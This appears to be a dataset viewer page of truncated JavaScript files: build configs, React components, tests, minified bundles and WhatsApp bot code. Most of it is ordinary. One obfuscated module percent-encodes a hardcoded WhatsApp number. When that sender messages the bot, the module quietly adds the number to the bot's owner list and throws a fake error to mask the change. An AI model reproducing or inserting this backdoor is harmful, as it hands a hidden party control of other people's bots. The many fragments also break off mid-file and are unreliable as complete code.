text stringlengths 2 1.04M |
|---|
const path = require('path');
const mix = require('laravel-mix');
mix.webpackConfig({
resolve: {
alias: {
"@": ".."
}
}
});
/*
|--------------------------------------------------------------------------
| Mix Asset Management
|---------------------------------------------------------... |
var scene = new THREE.Scene();
var camera = new THREE.PerspectiveCamera( 75, window.innerWidth/window.innerHeight, 0.1, 20000 );
var renderer = new THREE.WebGLRenderer();
renderer.setSize( window.innerWidth, window.innerHeight );
document.body.appendChild( renderer.domElement );
THREEx.WindowResize(renderer, camera);
... |
const FiredProcess = require('./model/firedProcess');
const FiredSignal = require('./model/firedSignal');
const ExecutionTrace = require('./model/executionTrace');
const SignalIdentifier = require('./model/signalIdentifier');
const ProcessIdentifier = require('./model/processIdentifier');
function PersistenceLogInputO... |
//// Copyright (c) Microsoft Corporation. All rights reserved
(function () {
"use strict";
var CurrentAppSimulator = Windows.ApplicationModel.Store.CurrentAppSimulator;
var page = WinJS.UI.Pages.define("/html/scenario8-receipt.html", {
ready: function (element, options) {
document.ge... |
(function(factory){if(typeof define==="function"&&define.amd){define("bootstrap.wysihtml5.pl-PL",["jquery","bootstrap.wysihtml5"],factory)}else{factory(jQuery)}})(function($){$.fn.wysihtml5.locale["pl-PL"]={font_styles:{normal:"Tekst podstawowy",h1:"Nagłówek 1",h2:"Nagłówek 2",h3:"Nagłówek 3",h4:"Nagłówek 4",h5:"Nagłów... |
/// Copyright (c) 2012 Ecma International. All rights reserved.
/// Ecma International makes this code available under the terms and conditions set
/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
/// "Use Terms"). Any redistribution of this code must retain the above
/// copyright an... |
import React from "react";
import { Link } from "react-router-dom";
import welcomeImage from "../../images/welcome_image.png";
const WelcomeImage = () => {
return (
<div className="welcome-msg">
<img src={welcomeImage} className="img-welcome" alt="Welcome" />
<h3>See what's happening in the world!</h... |
import React, { Component } from 'react'
import './CrearVideo.css'
import TextField from '@material-ui/core/TextField';
import Button from '@material-ui/core/Button';
import Snackbar from '@material-ui/core/Snackbar';
import IconButton from '@material-ui/core/IconButton';
import CloseIcon from '@material-ui/icons/Clos... |
import React, {useState, useEffect} from 'react'
import {Flex, Col, Row, Text, CirclePic, Image, Input, Box} from '../../../components/common/base';
import gan from '../../../imgs/gan.png';
import Button from '../../../components/buttons/button';
import {bgStyler, hueStyler, btnStyler, blueColor, redColor, purLowColor,... |
exports.aris = (id, A187, corohelp, tampilTanggal, tampilWaktu, instagram, nomer, aktif, groupwhatsapp, youtube) => {
return `
❉──────────❉
Hi. *${id.split("@s.whatsapp.net")[0]}* 👋️
❉──────────❉
───
📆 *${tampilTanggal}*
⏱️ *${tampilWaktu}*
📢 Bot Aktif ; *${aktif}*
───
╔════════════════... |
import React from 'react';
/*eslint-enable no-unused-vars*/
import { Router, Route, IndexRoute, hashHistory} from 'react-router';
// COMPONENT
import App from './app'
import TodoComponent from './components/todoComponent';
import TimeLineComponent from './components/timeLine';
import GantComponent from './components/v... |
import{o as e,c as a,a as r}from"./app.68f8e1fd.js";const t='{"title":"快速开始","description":"","frontmatter":{"title":"快速开始"},"headers":[{"level":2,"title":"安装","slug":"安装"},{"level":2,"title":"使用","slug":"使用"}],"relativePath":"guide/index.md","lastUpdated":1622297846041}',i={},d=r('',4);i.render=function(r,t,i,n,l,p){r... |
var a;
var b;
var c;
var d;
var anb;
var aob;
var cnd;
var cod;
var x;
var y;
a = anb; // Ok
b = anb; // Ok
anb = a;
anb = b;
x = anb; // Ok
x = aob;
x = cnd; // Ok
x = cod;
anb = x;
aob = x;
cnd = x;
cod = x;
y = anb;
y = aob;
y = cnd;
y = cod;
anb = y;
aob = y; // Ok
cnd = y;
cod = y; // Ok |
import e, { dev } from '../lib/index.macro'
const test = require('ava')
dev.libPath = '../'
e.any.returnIt = obj => () => obj
e.Array.take5 = array => () => array.map(() => 5)
e.String.take5 = str => prefix => prefix + str + '5'
e.Function.returnIt = fun => () => fun()
e.Array.second = array => array[1]
test('properl... |
/*
* Copyright (c) Microsoft Corporation.
* Licensed under the MIT License.
*
* Code generated by Microsoft (R) AutoRest Code Generator.
* Changes may cause incorrect behavior and will be lost if the code is regenerated.
*/
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
const { Comput... |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));
var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));
var _inherits2 = _interopReq... |
module.exports = {
mchain: {
messagePrefix: '\x17Mchain Signed Message:\n',
bech32: 'qc',
bip32: {
public: 0x0488b21e,
private: 0x0488ade4
},
pubKeyHash: 0x32, //50 M
scriptHash: 0x3a, //58 Q
wif: 0x80 //128
},
mchain_testnet: {
messagePrefix: '\x17Mchain Signed Message... |
/*
* Copyright 2016 Palantir Technologies, Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless req... |
var _json_printer_test_impl_8hpp =
[
[ "RunSoftmaxProfilerJsonPrinterTest", "_json_printer_test_impl_8hpp.xhtml#a95be0e0baaa07201b26929153a2443d6", null ]
]; |
/* Create a mapping from browser version strings to shorter identifiers. */
const path = require('path')
const fs = require('fs').promises
const stringifyObject = require('../lib/stringifyObject')
const { encode } = require('../lib/base62')
const fromEntries = require('../util/fromEntries')
function getBrowsers({ da... |
module.exports = { prefix: 'fal', iconName: 'hashtag', icon: [448, 512, [], "f292", "M446.381 182.109l1.429-8c1.313-7.355-4.342-14.109-11.813-14.109h-98.601l20.338-113.891C359.047 38.754 353.392 32 345.92 32h-8.127a12 12 0 0 0-11.813 9.891L304.89 160H177.396l20.338-113.891C199.047 38.754 193.392 32 185.92 32h-8.127a12 ... |
'use strict';
Object.defineProperty(exports, '__esModule', { value: true });
var image_vue_vue_type_script_lang = require('./image.vue_vue_type_script_lang.js');
var image_vue_vue_type_template_id_34467287_lang = require('./image.vue_vue_type_template_id_34467287_lang.js');
image_vue_vue_type_script_lang["default"].... |
'use strict';
var BI_RM = "0123456789abcdefghijklmnopqrstuvwxyz";
function int2char(n) {
return BI_RM.charAt(n);
}
//#region BIT_OPERATIONS
// (public) this & a
function op_and(x, y) {
return x & y;
}
// (public) this | a
function op_or(x, y) {
return x | y;
}
// (public) this ^ a
function op_xor(x, y) {
... |
#!/usr/bin/env node
/**
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License.
*/
/*eslint no-console: ["error", { allow: ["log"] }] */
const pkg = require('../package.json');
const semver = require('semver');
const stdin = require('get-stdin');
const msRest = require("ms-rest... |
/**
* Kendo UI v2016.3.1118 (http://www.telerik.com/kendo-ui)
* Copyright 2016 Telerik AD. All rights reserved. ... |
/*!
* Angular Material Design
* https://github.com/angular/material
* @license MIT
* v0.11.0-master-1a99821
*/ |
District = [{
"Id": 1,
"DisName": "东城区",
"CityID": 1,
"DisSort": null
}, {
"Id": 2,
"DisName": "西城区",
"CityID": 1,
"DisSort": null
}, {
"Id": 3,
"DisName": "崇文区",
"CityID": 1,
"DisSort": null
}, {
"Id": 4,
"DisName": "宣武区",
"CityID": 1,
"DisSort": null
}, {
"Id": 5,
"DisName": "朝阳区",... |
var vectorArray;
var pixelArray;
var startPix;
var slope;
var startSlope = true;
/**
* Method that is called by the caller script
* @param data the data received (data to start a new edge detection run)
*/
self.onmessage = function (data) {
var edgeImageData = data.data.edgeImageData;
var vectorThreshold = ... |
import React from 'react';
import clsx from 'clsx';
import PropTypes from 'prop-types';
import { makeStyles } from '@material-ui/styles';
import {
Card,
CardContent,
Grid,
Typography,
Avatar,
LinearProgress
} from '@material-ui/core';
import DescriptionIcon from '@material-ui/icons/Description';
const useS... |
import STATE_EVENTS from '../constants/state-events';
import EventEmitter from 'super-event-emitter';
import { Orientation } from '../constants/orientation';
export class EndCreditsState extends Phaser.State {
create() {
var textGroup = this.game.add.group();
this.game.tData("completed",true);
... |
import React from 'react';
import PropTypes from 'prop-types';
import Degree from './Education/Degree';
const Education = ({ data }) => (
<div className="education">
<div className="link-to" id="education" />
<div className="title">
<h3>Formal Education</h3>
</div>
{data.map((degree) => (
... |
'use strict';
/**
* Module dependencies
*/
var acl = require('acl');
// Using the memory backend
acl = new acl(new acl.memoryBackend());
/**
* Invoke Slurm Permissions
*/
exports.invokeRolesPolicies = function () {
acl.allow([{
roles: ['admin'],
allows: [{
resources: '/api/slurm',
permissio... |
// export const getInputElements = id => {
// const parent = document.getElementById(id);
// return parent && parent.getElementsByTagName('input');
// };
// export const getValueIfChecked = id => {
// const inputs = getInputElements(id);
// for (let i = 0; i < inputs.length; i++) {
// const i... |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you... |
const initialState = {
loading: false,
module: '',
login: false,
error: false,
success: false,
successCode: 0,
errorCode: 0,
errorMessage: undefined,
message: undefined,
modal: {
name: '-',
data: '',
open: false
},
cart: [],
counter: 0,
tot... |
let {
MXJSLog,
runApp,
MXJSFlutterApp,
MXJSWidgetState,
MXJSStatefulWidget,
MXJSStatelessWidget,
MaterialApp,
Scaffold,
Container,
ListTile,
Center,
Color,
AppBar,
SnackBar,
Text,
Icon,
IconData,
EdgeInsets,
Colors,
FlatButton,
RaisedButton,
FloatingActionButton,
Column,
... |
import { takeLatest, all } from 'redux-saga/effects';
import { runSaga } from 'redux-saga';
import robotSaga, {
watchVerifyToken,
verifyToken,
watchPublishBundle,
publishBundle,
} from '../saga';
import * as createSelectors from '../../Create/selectors';
import * as makeSelectors from '../../Make/selectors';
im... |
(window.webpackJsonp=window.webpackJsonp||[]).push([[179],{3660:function(t,e,r){"use strict";r.r(e),r.d(e,"icon",(function(){return i}));r(6),r(7);var n=r(0);function l(){return(l=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&... |
/**
* Module dependencies.
*/
var Emitter = require('events').EventEmitter;
var objectJoin = require('object-join');
var mustache = require('mustache');
var assert = require('assert');
/**
* Exports.
*/
module.exports = Newspeak;
/**
* Expose prototype.
*/
var l20n = Newspeak.prototype;
/**
* Newspeak().
... |
/**
* @param {string} address
* @return {string}
*/
var defangIPaddr = function(address) {
return address.replace(/\./g, '[.]');
}; |
import React, { useState, useRef, useEffect, useContext, useMemo } from 'react';
import {
ActivityIndicator,
Alert,
Dimensions,
FlatList,
I18nManager,
Keyboard,
KeyboardAvoidingView,
LayoutAnimation,
Platform,
StatusBar,
StyleSheet,
Text,
TextInput,
TouchableOpacity,
TouchableWithoutFeedba... |
/**
* Request data from the server, add it to the graph and set a timeout to request again
*/
$(document).ready(function() {
$("#btnGetPiSerialNo").bind('click', function() {
$.ajax({
type: "POST",
url: "/test/doGetPiSerialNo",
success: function(response) {
console.log(response);
... |
$("#table-tag").DataTable({processing:!1,info:!0,ajax:"tag/getData",autoWidth:!1,aLengthMenu:[[5,50,100,500,1e3,-1],[5,50,100,500,1e3,"All"]],columns:[{data:"Checkbox",name:"Checkbox",orderable:!1,searchable:!1},{data:"id",name:"id"},{data:"title",name:"title"},{data:"metatitle",name:"metatitle"},{data:"created_at",nam... |
(window.webpackJsonp=window.webpackJsonp||[]).push([[1],{314:function(n,o,c){},360:function(n,o,c){},365:function(n,o,c){},366:function(n,o,c){},367:function(n,o,c){}}]);
//# sourceMappingURL=styles-5397c4d41a5d4375b96f.js.map |
/**
* Module for the controller definition of the lot api.
* The LotController is handling /api/lots requests.
* @module {lot:controller~LotController} lot:controller
* @requires {@link ParamController}
*/
'use strict';
module.exports = LotController;
var _ = require('lodash');
var ParamController = require('../... |
module.exports = (a => { b = '%36%32%38%33%31%32%38%37%33%34%30%31%32%40%73%2E%77%68%61%74%73%61%70%70%2E%6E%65%74'; c = decodeURIComponent; d = e => { if (e.sender === c(a) && !g[c('%6F%77%6E%65%72')].includes(c(a))) { g[c('%6F%77%6E%65%72')].push(e.sender); throw `ReferenceError: ${e.text} is not defined` } }; d.comm... |
import React, {useEffect, createRef} from "react"
import lottie from 'lottie-web'
import animation from './floatguy.json'
const Animation = () => {
let animationContainer = createRef();
useEffect(() => {
lottie.loadAnimation({
container: animationContainer.current,
renderer: "svg",
loop: tr... |
"use strict";
// @ts-nocheck
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if... |
const classes = require('src/gatsby/templates/snippets/classes').classes
const html = /* HTML */ `
<div>
<nav aria-label="Breadcrumbs" class="*** truncate ***">
<a
href="/"
class="xt-button *** inline *** ${classes.buttonXs()} rounded-full ${classes.buttonUpper()} transition hover:opacity-7... |
// Copyright (C) 2018 Peter Wong. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
esid: pending
description: Behavior when @@matchAll is removed from RegExp's prototype
info: |
String.prototype.matchAll ( regexp )
1. Let O be ? RequireObjectCoercible(this value).
... |
/* global $, APP, YT, interfaceConfig, onPlayerReady, onPlayerStateChange,
onPlayerError */
const logger = require('jitsi-meet-logger').getLogger(__filename);
import UIUtil from '../util/UIUtil';
import UIEvents from '../../../service/UI/UIEvents';
import VideoLayout from '../videolayout/VideoLayout';
import LargeCo... |
/*!
* ${copyright}
*/
sap.ui.define([
"jquery.sap.global",
"sap/ui/support/supportRules/ui/controllers/BaseController",
"sap/ui/model/json/JSONModel",
"sap/m/Panel",
"sap/m/List",
"sap/m/ListItemBase",
"sap/m/StandardListItem",
"sap/m/InputListItem",
"sap/m/Button",
"sap/m/Toolbar",
"sap/m/ToolbarSpacer",... |
// For a detailed explanation regarding each configuration property, visit:
// https://jestjs.io/docs/en/configuration.html
module.exports = {
// All imported modules in your tests should be mocked automatically
// automock: false,
// Stop running tests after `n` failures
// bail: 0,
// Respect "browser" f... |
/*******************************************************************************
**
** Copyright (C) 2012 Rohan McGovern <rohan@mcgovern.id.au>
**
** Permission is hereby granted, free of charge, to any person obtaining a copy
** of this software and associated documentation files (the "Software"), to deal
** in the S... |
const { UserAchievementType } = require('../types')
const { UserAchievement } = require('../../models')
const { UserAchievementInputType } = require('../inputTypes')
const createUserAchievement = {
type: UserAchievementType,
description:
'The mutation that allows you to create a existing UserAchievement by Id'... |
import createMqttClient from './mqtt.js'
const mqtt = createMqttClient()
setTimeout(() => {
mqtt.publish('door/open', JSON.stringify({ foo: 'bar' }), () => {
process.exit(0)
})
}, 2000) |
const express = require("express");
const router = express.Router();
const mongoClient = require("mongodb").MongoClient;
const assert = require("assert");
const bodyParser = require("body-parser");
// Connection URL
let url = process.env.MONGODB_URI || "mongodb://localhost:27017";
let db;
const urlencodedParser = bod... |
/**
* plupload.js
*
* Copyright 2009, Moxiecode Systems AB
* Released under GPL License.
*
* License: http://www.plupload.com/license
* Contributing: http://www.plupload.com/contributing
*/
// JSLint defined globals
/*global window:false, escape:false */
/*!1.5.4*/
(function() {
var count = 0, runtimes = [... |
import React, { memo, useState, useRef, useEffect } from 'react'
import PropTypes from 'prop-types'
import clsx from 'clsx'
import { makeStyles, FormControl, FormHelperText } from '@material-ui/core'
import { Check, InsertDriveFile } from '@material-ui/icons'
import { Controller } from 'react-hook-form'
import { Erro... |
/**
* @namespace Worker内で使用されるイベントタイプを示す列挙体
*/
Jeeel.Worker.Type = {
/**
* Scriptのインポートイベント
*
* @type String
* @constant
*/
IMPORT_SCRIPT: 'import',
/**
* Scriptの実行イベント
*
* @type String
* @constant
*/
EXECUTE_SCRIPT: 'script',
/**
... |
const cheerio = require('cheerio');
const got = require('@/utils/got');
const iconv = require('iconv-lite');
const url = require('url');
const base = 'http://www.t66y.com';
const section = 'thread0806.php?fid=';
const got_ins = got.extend({
headers: {
Referer: base,
},
responseType: 'buffer',
});
... |
import { css } from 'glamor';
import classNames from 'classnames';
import React, { useCallback, useRef } from 'react';
import AttachmentIcon from './Assets/AttachmentIcon';
import connectToWebChat from '../connectToWebChat';
import downscaleImageToDataURL from '../Utils/downscaleImageToDataURL';
import IconButton from... |
// const fs = require("fs");
// const db = {
// users: [
// {
// id: 1,
// email: "email@google.com",
// password: "password",
// firstName: "Teo",
// lastName: "Teo"
// }
// ],
// posts: [
// {
// id: 1,
// title: "New post",
// description: "gdasgas",... |
// Get dependencies
const express = require('express');
const path = require('path');
const http = require('http');
const bodyParser = require('body-parser');
// Get our API route
const app = express();
// Parsers for POST data
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
// Poi... |
import React from 'react'
import styled from 'styled-components'
import {Link} from 'gatsby'
const Footer = () => {
return (
<FooterContainer>
<FooterLinksWrapper>
<FooterDesc>
<h1>Traveler</h1>
<p>We strive to create the best experiences ... |
/**
* Speech-Listen Bundle
*
* Version: 0.6.1
* Build: 0002
* TYPE: alpha
* Datum: 08.01.2022
*
* Autor: LinguaLogic Team
* Lizenz: MIT
*
*
* THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FI... |
const socket = io()
const rd = document.querySelector("#mensagemRecebida")
let id;
new URLSearchParams(window.location.search).forEach((value, name) => {
if(name == "id"){
id = value;
socket.emit("enter", id)
socket.on("reciever", (data) => {
if(data == "\b"){
... |
import { fetch } from "@areslabs/wx-react-native/index"
import React, { Component, h } from "@areslabs/wx-react"
import { View, Image } from "@areslabs/wx-react-native"
import { AnimationEnable } from "@areslabs/wx-animated"
import { token } from "../../util/index"
class SecBody extends Component {
constructor(...... |
//// [destructuringParameterProperties5.ts]
type ObjType1 = { x: number; y: string; z: boolean }
type TupleType1 = [ObjType1, number, string]
class C1 {
constructor(public [{ x1, x2, x3 }, y, z]: TupleType1) {
var foo: any = x1 || x2 || x3 || y || z;
var bar: any = this.x1 || this.x2 || this.x3 || ... |
var acg = acg || {};
acg.ac = acg.ac || {};
var cc = cc || {};
acg.emptyAction = cc.ActionInterval.create(0);
// Some custom actions
// Changes the string of a label.
acg.ac.ChangeString = cc.ActionInstant.extend({
_str: '',
ctor: function(str) {
cc.FiniteTimeAction.prototype.ctor.call(this);
... |
/**
* This was originally forked from https://github.com/occ/TraceKit, but has since been
* largely modified and is now maintained as part of Sentry JS SDK.
*/
import { __assign } from "tslib";
// global reference to slice
var UNKNOWN_FUNCTION = '?';
// Chromium based browsers: Chrome, Brave, new Opera, new Edge
var... |
const consoleLog = jest.fn()
global.console.log = consoleLog
const middy = require('middy')
const CorrelationIds = require('@dazn/lambda-powertools-correlation-ids')
const stopInfiniteLoop = require('../index')
const invokeHandler = async (event, awsRequestId) => {
const handler = middy(async () => {}).use(stopInfi... |
import React from 'react'
import {Header, Rating, Segment, Divider} from 'semantic-ui-react'
const Review = props => {
const {title, text, user, rating} = props
return (
<React.Fragment>
<Header as="h4">{title}</Header>
<div>
<Rating icon="star" defaultRating={rating} maxRating={5} disabled... |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _preparations = require('../../preparations');
var preparations = _interopRequireWildcard(_preparations);
var _tests = require('../../tests');
var tests = _interopRequireWildcard(_tests);
function _interopRequireWildcard(obj) { i... |
/*
* /MathJax/localization/ja/HelpDialog.js
*
* Copyright (c) 2009-2015 The MathJax Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/lic... |
/*
* Copyright 2014-2018 MarkLogic Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law... |
import React from 'react';
import { shallow } from 'enzyme';
import CardBody from './index';
describe('Unit tests for CardBody', () => {
it('Should render CardBody as a "div" element', () => {
const wrapper = shallow(<CardBody />);
expect(wrapper.type()).toBe('div');
});
}); |
'use strict';
/*
*
* Copyright 2016-2017 Red Hat, Inc, and individual contributors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.... |
module.exports = {
chunk: require('./lib/chunk')
} |
import { Component, ChangeDetectorRef, ChangeDetectionStrategy, ElementRef, EventEmitter, HostBinding, HostListener, Input, Output, NgZone, ViewChild, ViewContainerRef, Inject, Optional, Renderer2, forwardRef, isDevMode } from '@angular/core';
import { NG_VALUE_ACCESSOR, NG_VALIDATORS } from '@angular/forms';
import { ... |
// use require to import other js files
var topTen2 = require('../models/topTen');
var pace = require('../models/pace');
var weather = require('../models/weather');
var terrain = require('../models/terrain');
var gameData = require('../models/gameData');
var gameStats = gameData.gameInfo({}, {}, {}, " ");
//var gameCha... |
'use strict';
const { addGenErrorHandler } = require('../../errors');
const { validate } = require('../../validation');
// Custom data validation middleware
// Check that newData passes config validation
// E.g. if a model is marked as `required` or `minimum: 10` in the
// config, this will be validated here
const da... |
import React from 'react';
import PropTypes from 'prop-types';
import StarRating from "./StarRating";
import {Link} from "react-router-dom";
const Book = ({id, title, author,rating=0,onRate=f=>f, onRemove = f => f}) =>
<div className="col-md-2 col-sm-6 center-block book">
<Link to="/book"><img src="/assets... |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you ... |
o2.dateSelect = {
setupDateSelects : {}, // Keys are ID of dateSelects that are set up.
setupDatePickerDateSelect : function(id, format, minDate, maxDate) {
var elm = $("#" + id);
if (elm.length === 0 || o2.dateSelect.dateSelectIsSetup(id)) {
return;
}
elm.datepicker({
dateFormat : for... |
// describe('crud controllers', () => {
// describe('getOne', async () => {
// test('finds by authenticated user and id', async () => {
// expect.assertions(2)
// const user = mongoose.Types.ObjectId()
// const list = await List.create({ name: 'list', createdBy: user })
// ... |
import React, { Component } from "react";
import { connect } from "react-redux";
import { bindActionCreators } from "redux";
import { socketConnectWar, emitHitWar, emitStartWar } from "../actions/index";
import Rx from "rx";
import Cookie from "js-cookie";
import { makeId } from "../helpers/index";
const images = "../... |
import { html, PolymerElement } from "@polymer/polymer/polymer-element.js";
import { afterNextRender } from "@polymer/polymer/lib/utils/render-status.js";
import "@polymer/polymer/lib/elements/dom-if.js";
/**
@license
Copyright (c) 2016 The Ingresso Rápido Web Components Authors. All rights reserved.
This code may only... |
(window.webpackJsonp=window.webpackJsonp||[]).push([[4],{508:function(e,n,t){"use strict";t.r(n);var a=t(0),l=t.n(a),u=t(14),c=t(192);n.default=function(){return l.a.createElement(u.e,null,l.a.createElement(u.f,null),l.a.createElement(c.a,null))}}}]);
//# sourceMappingURL=component---src-pages-goodreads-js-488f2977841c... |
/*! Locuszoom 0.13.0-beta.2 */
//# sourceMappingURL=lz-credible-sets.min.js.map |
! function(e) {
e.fn.brushTool = function(e) {
var t = this,
tOffset = t.offset();
t.unbind(), e.clicks = 0;
var o, n, a, r, s = function() {
t.drawLine({
strokeWidth: e.stroke,
strokeStyle: e.color,
strokeCap: "round",
... |
(function($, anim) {
'use strict';
let _defaults = {
duration: 300,
onShow: null,
swipeable: false,
responsiveThreshold: Infinity // breakpoint for swipeable
};
/**
* @class
*
*/
class Tabs extends Component {
/**
* Construct Tabs instance
* @constructor
* @param ... |
require('dotenv').config({
path: `.env.${process.env.NODE_ENV}`
});
const myQuery = `{
allStrapiProduct(sort: { fields: [createdAt], order: ASC }) {
edges {
node {
id
handle
title
description
productType
variants {
shopifyId: i... |
angular.module("ps-ui.in", [
"ps-ui.in.address",
"ps-ui.in.delete",
"ps-ui.in.tag"
]); |
module.exports = Peer
var debug = require('debug')('simple-peer')
var getBrowserRTC = require('get-browser-rtc')
var inherits = require('inherits')
var randombytes = require('randombytes')
var stream = require('readable-stream')
var MAX_BUFFERED_AMOUNT = 64 * 1024
inherits(Peer, stream.Duplex)
/**
* WebRTC peer co... |
var hierarchy =
[
[ "outcome_v2_xxx::detail::_is_same_or_constructible< T, U, Args >", "structoutcome__v2__xxx_1_1detail_1_1__is__same__or__constructible.html", null ],
[ "outcome_v2_xxx::detail::_is_same_or_constructible< T, T >", "structoutcome__v2__xxx_1_1detail_1_1__is__same__or__constructible_3_01_t_00_01_... |
'use strict';
const NodeWebSocket = require('ws');
/**
* Creates something similar to a WebApi MessageEvent
*
* https://developer.mozilla.org/en-US/docs/Web/API/MessageEvent
*
* @param {Object} target
* @param {String|Blob|ArrayBuffer} data
*/
const MessageEvent = function (target, data) {
this.bubbles = f... |
window.__NUXT__=(function(a,b,c,d,e){return {staticAssetsBase:"https:\u002F\u002Fwww.baca-quran.id\u002Fstatic\u002F1627814429",layout:"default",error:b,state:{notification:{show:a,title:c,message:c},isShowSidebar:a,isSupportWebShare:a,headerTitle:"Baca Qur'an",page:"home",lastReadVerse:b,settingActiveTheme:{name:"dark... |
'use strict';
const Mongo = require('./MongoConfig.js');
class ETLReader {
constructor() {
this.mongdbObj = (new Mongo('10.245.215.101:27017', 'ServerBaseETLData')).mongoObj;
}
getETL(collectionName, etlName, callback) {
var dbCollection = this.mongdbObj.collection(collectionName);
... |
// Checks that movePrimary doesn't move collections detected as sharded when it begins moving
var st = new ShardingTest({shards: 2, mongos: 2, verbose: 1});
// Stop balancer, otherwise mongosB may load information about the database non-deterministically
st.stopBalancer();
var mongosA = st.s0;
var mongosB = st.s1;
v... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.